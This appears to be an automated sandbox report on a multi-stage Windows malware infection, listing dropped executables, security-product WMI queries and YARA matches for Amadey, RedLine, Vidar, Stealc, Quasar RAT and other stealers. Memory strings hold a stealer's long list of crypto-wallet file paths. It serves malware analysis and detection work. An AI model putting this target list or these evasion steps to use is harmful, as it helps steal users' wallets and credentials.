Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000055001\1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000055001\1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000241001\see.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Queries volume information: unknown VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Code function: 2_2_009DCAED GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

2_2_009DCAED

Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: VP2pdCInvS.exe, 0000000B.00000002.2251924759.00000000075C9000.00000004.00000020.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2251792775.00000000075B5000.00000004.00000020.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2229976098.0000000000F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.0.Freshbuild.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.Hkbsse.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.Freshbuild.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.Hkbsse.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mlk3kK6uLZ.exe.b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.Hkbsse.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hkbsse.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.Hkbsse.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.0.Hkbsse.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.axplong.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.9c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2036875774.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.2792505057.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2036537353.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.4455767208.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2042832211.00000000000B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2795620246.0000000000871000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.2774604502.0000000000871000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2077451585.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3861449673.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3260194667.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.3849994852.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000000.3249458796.0000000000E01000.00000020.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2002501733.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 18.2.hello.exe.6c3a3000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hello.exe.6c380000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_regiis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_regiis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hello.exe.6c3a3000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2811418680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 5.2.RegAsm.exe.482040.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.482040.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.Z73fDV6g4L.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2098178516.0000000000479000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.2094530359.0000000000AA2000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, type: DROPPED

Yara detected Quasar RAT

Source: Yara match	File source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FRaqbC8wSA1XvpFVjCRGryWt.exe PID: 2020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1772, type: MEMORYSTR

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.2.RegAsm.exe.436040.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.VP2pdCInvS.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.newstart.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.436040.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000000.2095785467.0000000000892000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.3774634677.0000000000EC2000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2098178516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z73fDV6g4L.exe PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VP2pdCInvS.exe PID: 4512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: newstart.exe PID: 2672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: see.exe PID: 1868, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 7464, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 18.2.hello.exe.6c3a3000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hello.exe.6c380000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_regiis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.aspnet_regiis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.hello.exe.6c3a3000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2679727829.000000006C3A3000.00000004.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2811418680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 7464, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 5.2.RegAsm.exe.482040.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.Z73fDV6g4L.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.482040.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\walletsLR]q`^
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q2C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
